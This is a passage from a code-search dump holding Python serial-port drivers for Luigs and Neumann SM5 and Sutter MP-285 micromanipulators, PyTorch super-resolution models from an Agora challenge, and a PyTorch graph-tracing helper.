controller\r\n\t\ttry:\r\n\t\t\tself.ser = serial.Serial(port='COM5',baudrate=38400,bytesize=serial.EIGHTBITS,parity=serial.PARITY_NONE,stopbits=serial.STOPBITS_ONE,timeout=self.timeOut)\r\n\t\t\t#self.ser = \r\n\t\t\tself.connected = 1\r\n\t\t\tif self.verbose:\r\n\t\t\t\tprint self.ser\r\n\t\t\t\tprint 'SM5 ready'\r\n\t\t\t#return 0\r\n\t\texcept serial.SerialException:\r\n\t\t\tprint 'No connection to Luigs and Neumann SM5 could be established!'\r\n\t\t\tself.connected = 0\r\n\t\t\t#sys.exit(1)\r\n\t\t#return self.connected\r\n\t#################################################################\r\n\t# destructor\r\n\tdef __del__(self):\r\n\t\ttry:\r\n\t\t\tself.ser.close()\r\n\t\texcept AttributeError:\r\n\t\t\tpass\r\n\t\tif self.verbose : \r\n\t\t\tprint 'Connection to Luigs and Neumann SM5 closed'\r\n\t#################################################################\r\n\t# send command to controller\r\n\tdef sendCommand(self,ID,nBytes,deviceData,response,nBytesRes):\r\n\t\t#\r\n\t\t# establish connection before each command (connection is lost after 3 sec)\r\n\t\tself.timePassed = time.time()\r\n\t\tif (self.timePassed-self.timeWhenEstablished)>self.establishConnectionHold:\r\n self.establishConnection()\r\n\t\t# calcuate CRC checksum and extract MSB and LSB \r\n\t\t(high,low) = self.serialCalculateCRC(deviceData,len(deviceData))\r\n\t\t# consistency check between number of bytes sent and data array length\r\n\t\tif not nBytes == len(deviceData):\r\n\t\t\tprint 'The number of bytes sent does not match the data array!'\r\n\t\t\tsys.exit(1)\r\n\t\t# create hex-string to be sent\r\n\t\tsend = '16' + ID + '%0.2X' % nBytes\r\n\t\t# loop over length of data to be sent\r\n\t\tfor i in range(len(deviceData)):\r\n\t\t\tsend += '%0.2X' % deviceData[i]\r\n\t\tsend += '%0.2X%0.2X' % (high,low)\r\n\t\t# convert hex string to bytes\r\n\t\tsendbytes = binascii.unhexlify(send)\r\n\t\t#\r\n\t\tif self.verbose:\r\n\t\t print 'send', str(ID) , send, high, low\r\n\t\tnLoops = 0\r\n\t\twhile True:\r\n\t\t\t# write bytes to interface\r\n\t\t\tself.timeWhenEstablished = time.time()\r\n\t\t\tself.ser.write(sendbytes)\r\n\t\t\t# wait\r\n\t\t\ttime.sleep(self.sleepTime)\r\n\t\t\t# read answer from connection\r\n\t\t\tansb = self.ser.read(nBytesRes)\r\n\t\t\t# compare answer with answer mask, if true: break, if false : redo\r\n\t\t\tif ansb[:len(response)] == response :\r\n\t\t\t\tif self.verbose:\r\n #print 'answer :', binascii.hexlify(ansb), len(ansb),\r\n\t\t\t\t\tprint 'done'\r\n\t\t\t\tbreak\r\n\t\t\tif nLoops >= self.maxLoops:\r\n\t\t\t\tprint 'Command was not successful!'\r\n\t\t\t\tbreak\r\n\t\t\tif self.verbose:\r\n\t\t\t\tprint 'insufficient answer :', ansb, len(ansb),\r\n\t\t\tprint '.',\r\n\t\t\tnLoops += 1\r\n\t\treturn ansb\r\n\t##################################################################\r\n\t# initiates connection to SM5, note that the connection is lost after 3 sec\r\n\tdef establishConnection(self):\r\n\t\t# establish connection before each command\r\n\t\tif self.verbose : \r\n\t\t\tprint 'Establish connection to SM5 . ',\r\n\t\tsend = '16040000000000'\r\n\t\tsendbytes = binascii.unhexlify(send)\r\n\t\twhile True:\r\n\t\t\tself.ser.write(sendbytes)\r\n\t\t\ttime.sleep(self.sleepTime)\r\n\t\t\tansConb = self.ser.read(6)\r\n\t\t\tif self.verbose:\r\n\t\t\t\tprint ansConb\r\n\t\t\tif ansConb == '\\x06\\x04\\x0b\\x00\\x00\\x00':\r\n\t\t\t\tif self.verbose:\r\n\t\t\t\t\tprint 'established'\r\n\t\t\t\tbreak\r\n\t\t\tprint '.',\r\n\t#################################################################\r\n\t# list of implemented functions (add more functions here)\r\n\tdef goSteps(self,device,axis,steps):\r\n\t\tIDcode = '0147'\r\n\t\tnBytes = 2\r\n\t\tresponse = '\\x06\\x04\\x0b\\x00\\x00\\x00'\r\n\t\taxisNumber = self.chooseAxis(device,axis)\r\n\t\tdeviceData = ([axisNumber,steps])\r\n\t\tres = self.sendCommand(IDcode,nBytes,deviceData,response,len(response))\r\n\tdef stepSlowDistance(self,device,axis,distance):\r\n\t\tIDcode = '013a'\r\n\t\tnBytes = 5\r\n\t\tresponse = '\\x06\\x04\\x0b\\x00\\x00\\x00'\r\n\t\taxisNumber = self.chooseAxis(device,axis)\r\n\t\t# convert float number to 4 byte in the standard IEEE format, give back hexadecimal\r\n\t\tdist_4hex = binascii.hexlify(struct.pack('>f',distance))\r\n\t\t# the float number has to be transmitted in reverse order < LSB><Byte2><Byte3><MSB >\r\n\t\t# convert hex to int for CRC calculation\r\n\t\tdeviceData = ([axisNumber,int(dist_4hex[6:],16),int(dist_4hex[4:6],16),int(dist_4hex[2:4],16),int(dist_4hex[:2],16)])\r\n\t\tres = self.sendCommand(IDcode,nBytes,deviceData,response,len(response))\r\n\tdef goVariableFastToAbsolutePosition(self,device,axis,absPosition):\r\n\t\tIDcode = '0048'\r\n\t\tnBytes = 5\r\n\t\tresponse = '\\x06\\x04\\x0b\\x00\\x00\\x00'\r\n\t\taxisNumber = self.chooseAxis(device,axis)\r\n\t\tdist_4hex = binascii.hexlify(struct.pack('>f',absPosition))\r\n\t\tdeviceData = ([axisNumber,int(dist_4hex[6:],16),int(dist_4hex[4:6],16),int(dist_4hex[2:4],16),int(dist_4hex[:2],16)])\r\n\t\tres = self.sendCommand(IDcode,nBytes,deviceData,response,len(response))\r\n\tdef goVariableSlowToAbsolutePosition(self,device,axis,absPosition):\r\n\t\tIDcode = '0049'\r\n\t\tnBytes = 5\r\n\t\tresponse = '\\x06\\x04\\x0b\\x00\\x00\\x00'\r\n\t\taxisNumber = self.chooseAxis(device,axis)\r\n\t\tdist_4hex = binascii.hexlify(struct.pack('>f',absPosition))\r\n\t\tdeviceData = ([axisNumber,int(dist_4hex[6:],16),int(dist_4hex[4:6],16),int(dist_4hex[2:4],16),int(dist_4hex[:2],16)])\r\n\t\tres = self.sendCommand(IDcode,nBytes,deviceData,response,len(response))\r\n\tdef goVariableFastToRelativePosition(self,device,axis,relPosition):\r\n\t\tIDcode = '004a'\r\n\t\tnBytes = 5\r\n\t\tresponse = '\\x06\\x04\\x0b\\x00\\x00\\x00'\r\n\t\taxisNumber = self.chooseAxis(device,axis)\r\n\t\tdist_4hex = binascii.hexlify(struct.pack('>f',relPosition))\r\n\t\tdeviceData = ([axisNumber,int(dist_4hex[6:],16),int(dist_4hex[4:6],16),int(dist_4hex[2:4],16),int(dist_4hex[:2],16)])\r\n\t\tres = self.sendCommand(IDcode,nBytes,deviceData,response,len(response))\r\n\tdef goVariableSlowToRelativePosition(self,device,axis,relPosition):\r\n\t\tIDcode = '004b'\r\n\t\tnBytes = 5\r\n\t\tresponse = '\\x06\\x04\\x0b\\x00\\x00\\x00'\r\n\t\taxisNumber = self.chooseAxis(device,axis)\r\n\t\tdist_4hex = binascii.hexlify(struct.pack('>f',relPosition))\r\n\t\tdeviceData = ([axisNumber,int(dist_4hex[6:],16),int(dist_4hex[4:6],16),int(dist_4hex[2:4],16),int(dist_4hex[:2],16)])\r\n\t\tres = self.sendCommand(IDcode,nBytes,deviceData,response,len(response))\r\n\tdef stepIncrement(self,device,axis):\r\n\t\tIDcode = '0140'\r\n\t\tnBytes = 1\r\n\t\tresponse = '\\x06\\x04\\x0b\\x00\\x00\\x00'\r\n\t\taxisNumber = self.chooseAxis(device,axis)\r\n\t\tdeviceData = ([axisNumber])\r\n\t\tres = self.sendCommand(IDcode,nBytes,deviceData,response,len(response))\r\n\tdef stepDecrement(self,device,axis):\r\n\t\tIDcode = '0141'\r\n\t\tnBytes = 1\r\n\t\tresponse = '\\x06\\x04\\x0b\\x00\\x00\\x00'\r\n\t\taxisNumber = self.chooseAxis(device,axis)\r\n\t\tdeviceData = ([axisNumber])\r\n\t\tres = self.sendCommand(IDcode,nBytes,deviceData,response,len(response))\r\n\t# remove current from the specified motor\r\n\tdef switchOffAxis(self,device,axis):\r\n\t\tIDcode = '0034'\r\n\t\tnBytes = 1\r\n\t\tresponse = '\\x06\\x04\\x0b\\x00\\x00\\x00'\r\n\t\taxisNumber = self.chooseAxis(device,axis)\r\n\t\tdeviceData = ([axisNumber])\r\n\t\tres = self.sendCommand(IDcode,nBytes,deviceData,response,len(response))\r\n\tdef switchOnAxis(self,device,axis):\r\n\t\tIDcode = '0035'\r\n\t\tnBytes = 1\r\n\t\tresponse = '\\x06\\x04\\x0b\\x00\\x00\\x00'\r\n\t\taxisNumber = self.chooseAxis(device,axis)\r\n\t\tdeviceData = ([axisNumber])\r\n\t\tres = self.sendCommand(IDcode,nBytes,deviceData,response,len(response))\r\n\t# zeros counter on specified axis\r\n\tdef setAxisToZero(self,device,axis):\r\n\t\tIDcode = '00f0'\r\n\t\tnBytes = 1\r\n\t\tresponse = '\\x06\\x04\\x0b\\x00\\x00\\x00'\r\n\t\taxisNumber = self.chooseAxis(device,axis)\r\n\t\tdeviceData = ([axisNumber])\r\n\t\tres = self.sendCommand(IDcode,nBytes,deviceData,response,len(response))\r\n\t# Queries position of specified axis.\r\n\tdef getPosition(self,device,axis):\r\n\t\tIDcode = '0101'\r\n\t\tnBytes = 1\r\n\t\tresponse = '\\x06\\x00\\x01\\x04'\r\n\t\taxisNumber = self.chooseAxis(device,axis)\r\n\t\tdeviceData = ([axisNumber])\r\n\t\tres = self.sendCommand(IDcode,nBytes,deviceData,response,10)\r\n\t\treturn struct.unpack('f',res[4:8])[0]\r\n\t# Queries fast velocity of specified axis.\r\n def getPositioningVelocityFast(self,device,axis):\r\n IDcode = '0160'\r\n nBytes = 1\r\n response = '\\x06\\x00\\x01\\x02'\r\n axisNumber = self.chooseAxis(device,axis)\r\n deviceData = ([axisNumber])\r\n res = self.sendCommand(IDcode,nBytes,deviceData,response,8)\r\n return struct.unpack('H',res[4:6])[0]\r\n # Queries slow velocity of specified axis.\r\n def getPositioningVelocitySlow(self,device,axis):\r\n IDcode = '0161'\r\n nBytes = 1\r\n response = '\\x06\\x00\\x01\\x02'\r\n axisNumber = self.chooseAxis(device,axis)\r\n deviceData = ([axisNumber])\r\n res = self.sendCommand(IDcode,nBytes,deviceData,response,8)\r\n return struct.unpack('H',res[4:6])[0]\r\n # Queries fast velocity of specified axis.\r\n def setPositioningVelocityFast(self,device,axis,speed):\r\n IDcode = '003d'\r\n nBytes = 3\r\n response = '\\x06\\x04\\x0b\\x00\\x00\\x00'\r\n axisNumber = self.chooseAxis(device,axis)\r\n speed_2hex = binascii.hexlify(struct.pack('>H',speed))\r\n deviceData = ([axisNumber,int(speed_2hex[2:],16),int(speed_2hex[:2],16)])\r\n res = self.sendCommand(IDcode,nBytes,deviceData,response,len(response))\r\n # Queries slow velocity of specified axis.\r\n def setPositioningVelocitySlow(self,device,axis,speed):\r\n IDcode = '003c'\r\n nBytes = 3\r\n response = '\\x06\\x04\\x0b\\x00\\x00\\x00'\r\n axisNumber = self.chooseAxis(device,axis)\r\n speed_2hex = binascii.hexlify(struct.pack('>H',speed))\r\n deviceData = ([axisNumber,int(speed_2hex[2:],16),int(speed_2hex[:2],16)])\r\n res = self.sendCommand(IDcode,nBytes,deviceData,response,len(response))\r\n #########################################################\r\n\t# selects device and axis\r\n\tdef chooseAxis(self,device,axis):\r\n\t\tif (device == 1):\r\n\t\t\tif axis=='x':\r\n\t\t\t\tdeviceNumber = 1\r\n\t\t\telif axis=='y':\r\n\t\t\t\tdeviceNumber = 2\r\n\t\t\telif axis=='z':\r\n\t\t\t\tdeviceNumber = 3\r\n\t\t\telse:\r\n\t\t\t\tprint 'Wrong axis for device', str(device), 'specified'\r\n\t\telif (device == 2):\r\n\t\t\tif axis=='x':\r\n\t\t\t\tdeviceNumber = 4\r\n\t\t\telif axis=='y':\r\n\t\t\t\tdeviceNumber = 5\r\n\t\t\telif axis=='z':\r\n\t\t\t\tdeviceNumber = 6\r\n\t\t\telse:\r\n\t\t\t\tprint 'Wrong axis for device', str(device), 'specified'\r\n\t\telse:\r\n\t\t\tprint 'Device number does not exist. Should be 1 or 2.'\r\n\t\t# \r\n\t\treturn deviceNumber\r\n\t#################################################\r\n\t# calculate CRC cecksum based on the data sent\r\n\tdef serialCalculateCRC(self,butter,length):\r\n\t\t#\r\n\t\tcrcPolynom = 0x1021\r\n\t\tcrc = 0\r\n\t\tn = 0\r\n\t\tlll = length\r\n\t\twhile (lll > 0):\r\n\t\t\tcrc = crc ^ butter[n] << 8\r\n\t\t\t#print '1 ' , crc\r\n\t\t\tfor i in arange(8):\r\n\t\t\t\tif (crc & 0x8000):\r\n\t\t\t\t\tcrc = crc << 1 ^ crcPolynom\r\n\t\t\t\t\t#print 'if ',crc\r\n\t\t\t\telse:\r\n\t\t\t\t\tcrc = crc << 1\r\n\t\t\t\t\t#print 'else ', crc\r\n\t\t\tlll -= 1\r\n\t\t\tn+=1\r\n\t\t#print \"end while \",crc\r\n\t\t#print \"after\", crc , crc>>8 \r\n\t\tcrcHigh = ctypes.c_ubyte(crc>>8)\r\n\t\tcrcLow = ctypes.c_ubyte(crc)\r\n\t\treturn (crcHigh.value,crcLow.value)\r\n\r\n\r\n\t", "id": "3765508", "language": "Python", "matching_score": 5.379289150238037, "max_stars_count": 1, "path": "LandNSM5.py" }, { "content": "# sutterMP285 : A python class for using the Sutter MP-285 positioner\r\n# \r\n# SUTTERMP285 implements a class for working with a Sutter MP-285\r\n# micro-positioner. The Sutter must be connected with a Serial\r\n# cable. \r\n#\r\n# This class uses the python \"serial\" package which allows for \r\n# with serial devices through 'write' and 'read'. \r\n# The communication properties (BaudRate, Terminator, etc.) are \r\n# set when invoking the serial object with serial.Serial(..) (l105, \r\n# see Sutter Reference manual p23).\r\n#\r\n# Methods:\r\n# Create the object. The object is opened with serial.Serial and the connection\r\n# is tested to verify that the Sutter is responding.\r\n# obj = sutterMP285()\r\n#\r\n# Update the position display on the instrument panel (VFD)\r\n# updatePanel()\r\n#\r\n# Get the status information (step multiplier, velocity, resolution)\r\n# [stepMult, currentVelocity, vScaleFactor] = getStatus()\r\n#\r\n# Get the current absolute position in um\r\n# xyz_um = getPosition()\r\n#\r\n# Set the move velocity in steps/sec. vScaleFactor = 10|50 (default 10).\r\n# setVelocity(velocity, vScaleFactor)\r\n#\r\n# Move to a specified position in um [x y z]. Returns the elapsed time\r\n# for the move (command sent and acknowledged) in seconds.\r\n# moveTime = gotoPosition(xyz)\r\n#\r\n# Set the current position to be the new origin (0,0,0)\r\n# setOrigin()\r\n#\r\n# Reset the instrument\r\n# sendReset()\r\n#\r\n# Close the connetion \r\n# __del__()\r\n#\r\n# Properties:\r\n# verbose - The level of messages displayed (0 or 1). Default 1.\r\n#\r\n#\r\n# Example:\r\n#\r\n# >> import serial\r\n# >> from sutterMP285_1 import *\r\n# >> sutter = sutterMP285()\r\n# Serial<id=0x4548370, open=True>(port='COM1', baudrate=9600, bytesize=8, parity='N', stopbits=1, timeout=30, xonxoff=False, rtscts=False, dsrdtr=False)\r\n# sutterMP285: get status info\r\n# (64, 0, 2, 4, 7, 0, 99, 0, 99, 0, 20, 0, 136, 19, 1, 120, 112, 23, 16, 39, 80, 0, 0, 0, 25, 0, 4, 0, 200, 0, 84, 1)\r\n# step_mul (usteps/um): 25\r\n# xspeed\" [velocity] (usteps/sec): 200\r\n# velocity scale factor (usteps/step): 10\r\n# sutterMP285 ready\r\n# >> pos = sutter.getPosition()\r\n# sutterMP285 : Stage position\r\n# X: 3258.64 um\r\n# Y: 5561.32 um\r\n# Z: 12482.5 um\r\n# >> posnew = (pos[0]+10.,pos[1]+10.,pos[2]+10.)\r\n# >> sutter.gotoPosition(posnew)\r\n# sutterMP285: Sutter move completed in (0.24 sec)\r\n# >> status = sutter.getStatus()\r\n# sutterMP285: get status info\r\n# (64, 0, 2, 4, 7, 0, 99, 0, 99, 0, 20, 0, 136, 19, 1, 120, 112, 23, 16, 39, 80, 0, 0, 0, 25, 0, 4, 0, 200, 0, 84, 1)\r\n# step_mul (usteps/um): 25\r\n# xspeed\" [velocity] (usteps/sec): 200\r\n# velocity scale factor (usteps/step): 10\r\n# >> del sutter\r\n#\r\n#\r\n\r\nimport serial\r\nimport struct\r\nimport time \r\nimport sys\r\nfrom numpy import * \r\n\r\n\r\n\r\nclass sutterMP285 :\r\n\t'Class which allows interaction with the Sutter Manipulator 285'\r\n\tdef __init__(self):\r\n\t\tself.verbose = 1. # level of messages\r\n\t\tself.timeOut = 30 # timeout in sec\r\n\t\t# initialize serial connection to controller\r\n\t\ttry:\r\n\t\t\tself.ser = serial.Serial(port='COM1',baudrate=9600,bytesize=serial.EIGHTBITS,parity=serial.PARITY_NONE,stopbits=serial.STOPBITS_ONE,timeout=self.timeOut)\r\n\t\t\tself.connected = 1\r\n\t\t\tif self.verbose:\r\n\t\t\t print self.ser\r\n\t\texcept serial.SerialException:\r\n\t\t\tprint 'No connection to Sutter MP-285 could be established!'\r\n\t\t\tsys.exit(1)\r\n\t\t\r\n\t\t# set move velocity to 200\r\n\t\tself.setVelocity(200,10)\r\n\t\tself.updatePanel() # update controller panel\r\n\t\t(stepM,currentV,vScaleF)= self.getStatus()\r\n\t\tif currentV == 200:\r\n\t\t\tprint 'sutterMP285 ready'\r\n\t\telse:\r\n\t\t\tprint 'sutterMP285: WARNING Sutter did not respond at startup.'\r\n\t# destructor\r\n\tdef __del__(self):\r\n\t\tself.ser.close()\r\n\t\tif self.verbose : \r\n\t\t\tprint 'Connection to Sutter MP-285 closed'\r\n\t\t\r\n\t\t\r\n\tdef getPosition(self):\r\n\t\t# send commend to get position\r\n\t\tself.ser.write('c\\r')\r\n\t\t# read position from controller\r\n\t\txyzb = self.ser.read(13)\r\n\t\t# convert bytes into 'signed long' numbers\r\n\t\txyz_um = array(struct.unpack('lll', xyzb[:12]))/self.stepMult\r\n\t\t\r\n\t\tif self.verbose:\r\n\t\t\tprint 'sutterMP285 : Stage position '\r\n\t\t\tprint 'X: %g um \\n Y: %g um\\n Z: %g um' % (xyz_um[0],xyz_um[1],xyz_um[2])\r\n\t\t\r\n\t\treturn xyz_um\r\n\t# Moves the three axes to specified location.\r\n\tdef gotoPosition(self,pos):\r\n\t\tif len(pos) != 3:\r\n\t\t\tprint 'Length of position argument has to be three'\r\n\t\t\tsys.exit(1)\r\n\t\txyzb = struct.pack('lll',int(pos[0]*self.stepMult),int(pos[1]*self.stepMult),int(pos[2]*self.stepMult)) # convert integer values into bytes\r\n\t\tstartt = time.time() # start timer\r\n\t\tself.ser.write('m'+xyzb+'\\r') # send position to controller; add the \"m\" and the CR to create the move command\r\n\t\tcr = []\r\n\t\tcr = self.ser.read(1) # read carriage return and ignore\r\n\t\tendt = time.time() # stop timer\r\n\t\tif len(cr)== 0:\r\n\t\t\tprint 'Sutter did not finish moving before timeout (%d sec).' % self.timeOut\r\n\t\telse:\r\n\t\t\tprint 'sutterMP285: Sutter move completed in (%.2f sec)' % (endt-startt)\r\n\t# this function changes the velocity of the sutter motions\r\n\tdef setVelocity(self,Vel,vScalF=10):\r\n\t\t# Change velocity command 'V'xxCR where xx= unsigned short (16bit) int velocity\r\n \t# set by bits 14 to 0, and bit 15 indicates ustep resolution 0=10, 1=50 uSteps/step\r\n \t# V is ascii 86\r\n \t# convert velocity into unsigned short - 2-byte - integeter\r\n \tvelb = struct.pack('H',int(Vel))\r\n \t# change last bit of 2nd byte to 1 for ustep resolution = 50\r\n \tif vScalF == 50:\r\n\t\t\tvelb2 = double(struct.unpack('B',velb[1])) + 128\r\n\t\t\tvelb = velb[0] + struct.pack('B',velb2)\r\n\t\tself.ser.write('V'+velb+'\\r')\r\n\t\tself.ser.read(1)\r\n\t# Update Panel\r\n\t# causes the Sutter to display the XYZ info on the front panel\r\n\tdef updatePanel(self):\r\n\t\tself.ser.write('n\\r') #Sutter replies with a CR\r\n\t\tself.ser.read(1) # read and ignore the carriage return\r\n\t\r\n\t## Set Origin\r\n\t# sets the origin of the coordinate system to the current position\r\n\tdef setOrigin(self):\r\n\t\tself.ser.write('o\\r') # Sutter replies with a CR\r\n\t\tself.ser.read(1) # read and ignor the carrage return\r\n\t # Reset controller\r\n\tdef sendReset(self):\r\n\t\t self.ser.write('r\\r') # Sutter does not reply\r\n\t# Queries the status of the controller. \r\n\tdef getStatus(self):\r\n\t\tif self.verbose : \r\n\t\t\tprint 'sutterMP285: get status info'\r\n\t\tself.ser.write('s\\r') # send status command\r\n\t\trrr = self.ser.read(32) # read return of 32 bytes without carriage return\r\n\t\tself.ser.read(1) # read and ignore the carriage return\r\n\t\trrr\r\n\t\tstatusbytes = struct.unpack(32*'B',rrr)\r\n\t\tprint statusbytes\r\n\t\t# the value of STEP_MUL (\"Multiplier yields msteps/nm\") is at bytes 25 & 26\r\n\t\tself.stepMult = double(statusbytes[25])*256 + double(statusbytes[24])\r\n\r\n\t\t# the value of \"XSPEED\" and scale factor is at bytes 29 & 30\r\n\t\tif statusbytes[29] > 127:\r\n\t\t\tself.vScaleFactor = 50\r\n\t\telse:\r\n\t\t\tself.vScaleFactor = 10\r\n\t\t#print double(127 & statusbytes[29])*256\r\n\t\t#print double(statusbytes[28]), statusbytes[28]\r\n\t\t#print double(statusbytes[29]), statusbytes[29]\r\n\t\tself.currentVelocity = double(127 & statusbytes[29])*256+double(statusbytes[28])\r\n\t\t#vScaleFactor = struct.unpack('lll', rrr[30:31])\r\n\t\tif self.verbose:\r\n\t\t\tprint 'step_mul (usteps/um): %g' % self.stepMult\r\n\t\t\tprint 'xspeed\" [velocity] (usteps/sec): %g' % self.currentVelocity\r\n\t\t\tprint 'velocity scale factor (usteps/step): %g' % self.vScaleFactor\r\n\t\t#\r\n\t\treturn (self.stepMult,self.currentVelocity,self.vScaleFactor)\r\n\r\n\r\n\t", "id": "3225484", "language": "Python", "matching_score": 3.848944902420044, "max_stars_count": 3, "path": "sutterMP285.py" } ]
3.437817
AgoraIO-Community
[ { "content": "import torch\nfrom torch import nn\nclass model(nn.Module):\n def __init__(self, scale_factor=2, n_feats=8, expansion_ratio=2):\n super(model, self).__init__()\n head = [nn.Conv2d(3, n_feats, kernel_size=3, padding=1)]\n self.body1 = nn.Sequential(\n nn.Conv2d(n_feats, n_feats * expansion_ratio, kernel_size=3, padding=1),\n nn.PReLU(),\n nn.Conv2d(n_feats * expansion_ratio, n_feats, kernel_size=3, padding=1)\n )\n self.body2 = nn.Sequential(\n nn.Conv2d(n_feats, n_feats * expansion_ratio, kernel_size=3, padding=1),\n nn.PReLU(),\n nn.Conv2d(n_feats * expansion_ratio, n_feats, kernel_size=3, padding=1)\n )\n self.body3 = nn.Sequential(\n nn.Conv2d(n_feats, n_feats * expansion_ratio, kernel_size=3, padding=1),\n nn.PReLU(),\n nn.Conv2d(n_feats * expansion_ratio, n_feats, kernel_size=3, padding=1)\n )\n self.body4 = nn.Sequential(\n nn.Conv2d(n_feats, n_feats * expansion_ratio, kernel_size=3, padding=1),\n nn.PReLU(),\n nn.Conv2d(n_feats * expansion_ratio, n_feats, kernel_size=3, padding=1)\n )\n self.body5 = nn.Sequential(\n nn.Conv2d(n_feats, n_feats * expansion_ratio, kernel_size=3, padding=1),\n nn.PReLU(),\n nn.Conv2d(n_feats * expansion_ratio, n_feats, kernel_size=3, padding=1)\n )\n self.body6 = nn.Sequential(\n nn.Conv2d(n_feats, n_feats * expansion_ratio, kernel_size=3, padding=1),\n nn.PReLU(),\n nn.Conv2d(n_feats * expansion_ratio, n_feats, kernel_size=3, padding=1)\n )\n self.body7 = nn.Sequential(\n nn.Conv2d(n_feats, n_feats * expansion_ratio, kernel_size=3, padding=1),\n nn.PReLU(),\n nn.Conv2d(n_feats * expansion_ratio, n_feats, kernel_size=3, padding=1)\n )\n self.body8 = nn.Sequential(\n nn.Conv2d(n_feats, n_feats * expansion_ratio, kernel_size=3, padding=1),\n nn.PReLU(),\n nn.Conv2d(n_feats * expansion_ratio, n_feats, kernel_size=3, padding=1)\n )\n self.conv = nn.Conv2d(n_feats, n_feats, kernel_size=3, padding=1)\n\n tail = [nn.Conv2d(n_feats, 3 * (scale_factor ** 2), kernel_size=3, padding=1),\n nn.PixelShuffle(scale_factor)]\n\n self.head = nn.Sequential(*head)\n self.tail = nn.Sequential(*tail)\n\n def forward(self, x):\n x = self.head(x)\n skip = x\n x = x + self.body1(x)\n x = x + self.body2(x)\n x = x + self.body3(x)\n x = x + self.body4(x)\n x = x + self.body5(x)\n x = x + self.body6(x)\n x = x + self.body7(x)\n x = x + self.body8(x)\n x = self.conv(x)\n x += skip\n x = self.tail(x)\n\n return x\n\n", "id": "10530233", "language": "Python", "matching_score": 2.8051135540008545, "max_stars_count": 33, "path": "AlgorithmChanllengeProject/evaluation_Agora_0903/model/test.py" }, { "content": "import torch.nn as nn\nimport torch\n\n\ndef conv_layer(in_channels, out_channels, kernel_size, stride=1, dilation=1, groups=1):\n padding = int((kernel_size - 1) / 2) * dilation\n return nn.Conv2d(in_channels, out_channels, kernel_size, stride, padding=padding, bias=True, dilation=dilation,\n groups=groups)\n\n\ndef activation(act_type, inplace=True, neg_slope=0.05, n_prelu=1):\n act_type = act_type.lower()\n if act_type == 'relu':\n layer = nn.ReLU(inplace)\n elif act_type == 'lrelu':\n layer = nn.LeakyReLU(neg_slope, inplace)\n elif act_type == 'prelu':\n layer = nn.PReLU(num_parameters=n_prelu, init=neg_slope)\n else:\n raise NotImplementedError('activation layer [{:s}] is not found'.format(act_type))\n return layer\n\n\ndef sequential(*args):\n modules = []\n for module in args:\n if isinstance(module, nn.Sequential):\n for submodule in module.children():\n modules.append(submodule)\n elif isinstance(module, nn.Module):\n modules.append(module)\n return nn.Sequential(*modules)\n\n\nclass ShortcutBlock(nn.Module):\n def __init__(self, submodule):\n super(ShortcutBlock, self).__init__()\n self.sub = submodule\n\n def forward(self, x):\n output = x + self.sub(x)\n return output\n\n\ndef pixelshuffle_block(in_channels, out_channels, upscale_factor=2, kernel_size=3, stride=1):\n conv = conv_layer(in_channels, out_channels * (upscale_factor ** 2), kernel_size, stride)\n pixel_shuffle = nn.PixelShuffle(upscale_factor)\n return sequential(conv, pixel_shuffle)\n\n\nclass IMDModule(nn.Module):\n def __init__(self, in_channels, distillation_rate=0.25):\n super(IMDModule, self).__init__()\n self.distilled_channels = int(in_channels * distillation_rate)\n self.remaining_channels = int(in_channels - self.distilled_channels)\n self.c1 = conv_layer(in_channels, in_channels, 3)\n self.c2 = conv_layer(self.remaining_channels, in_channels, 3)\n self.c3 = conv_layer(self.remaining_channels, in_channels, 3)\n self.c4 = conv_layer(self.remaining_channels, self.distilled_channels, 3)\n self.act = activation('lrelu', neg_slope=0.05)\n self.c5 = conv_layer(self.distilled_channels * 4, in_channels, 1)\n\n def forward(self, input):\n out_c1 = self.act(self.c1(input))\n distilled_c1, remaining_c1 = torch.split(out_c1, (self.distilled_channels, self.remaining_channels), dim=1)\n out_c2 = self.act(self.c2(remaining_c1))\n distilled_c2, remaining_c2 = torch.split(out_c2, (self.distilled_channels, self.remaining_channels), dim=1)\n out_c3 = self.act(self.c3(remaining_c2))\n distilled_c3, remaining_c3 = torch.split(out_c3, (self.distilled_channels, self.remaining_channels), dim=1)\n out_c4 = self.c4(remaining_c3)\n\n out = torch.cat([distilled_c1, distilled_c2, distilled_c3, out_c4], dim=1)\n out_fused = self.c5(out) + input\n return out_fused\n\n\nclass model(nn.Module):\n def __init__(self, upscale=2, in_nc=3, nf=12, num_modules=5, out_nc=3):\n super(model, self).__init__()\n\n fea_conv = [conv_layer(in_nc, nf, kernel_size=3)]\n rb_blocks = [IMDModule(in_channels=nf) for _ in range(num_modules)]\n LR_conv = conv_layer(nf, nf, kernel_size=1)\n\n upsample_block = pixelshuffle_block\n upsampler = upsample_block(nf, out_nc, upscale_factor=upscale)\n\n self.model = sequential(*fea_conv, ShortcutBlock(sequential(*rb_blocks, LR_conv)),\n *upsampler)\n\n def forward(self, input):\n output = (self.model(input).clamp_(0, 1) * 255.0).round() / 255.0\n return output\n", "id": "5241301", "language": "Python", "matching_score": 0.3889198303222656, "max_stars_count": 33, "path": "AlgorithmChanllengeProject/evaluation_Agora_0903/model/baseline.py" }, { "content": "import warnings\n\nimport torch\nimport torch.jit\n\nfrom .flatten import Flatten\nfrom .ir import Graph, Node, Variable\n\n__all__ = ['trace']\n\n\ndef trace(model, args=(), kwargs=None):\n assert kwargs is None, 'Keyword arguments are not supported for now. ' \\\n 'Please use positional arguments instead!'\n\n with warnings.catch_warnings(record=True):\n graph, _ = torch.jit._get_trace_graph(Flatten(model), args, kwargs)\n\n variables = dict()\n for x in graph.nodes():\n for v in list(x.inputs()) + list(x.outputs()):\n if 'tensor' in v.type().kind().lower():\n variables[v] = Variable(\n name=v.debugName(),\n dtype=v.type().scalarType(),\n shape=v.type().sizes(),\n )\n else:\n variables[v] = Variable(\n name=v.debugName(),\n dtype=str(v.type()),\n )\n\n nodes = []\n for x in graph.nodes():\n node = Node(\n operator=x.kind(),\n attributes={\n s: getattr(x, x.kindOf(s))(s)\n for s in x.attributeNames()\n },\n inputs=[variables[v] for v in x.inputs() if v in variables],\n outputs=[variables[v] for v in x.outputs() if v in variables],\n scope=x.scopeName() \\\n .replace('Flatten/', '', 1) \\\n .replace('Flatten', '', 1),\n )\n nodes.append(node)\n\n graph = Graph(\n name=model.__class__.__module__ + '.' + model.__class__.__name__,\n variables=[v for v in variables.values()],\n inputs=[variables[v] for v in graph.inputs() if v in variables],\n outputs=[variables[v] for v in graph.outputs() if v in variables],\n nodes=nodes,\n )\n return graph\n", "id": "12215298", "language": "Python", "matching_score": 1.7457925081253052, "max_stars_count": 216, "path": 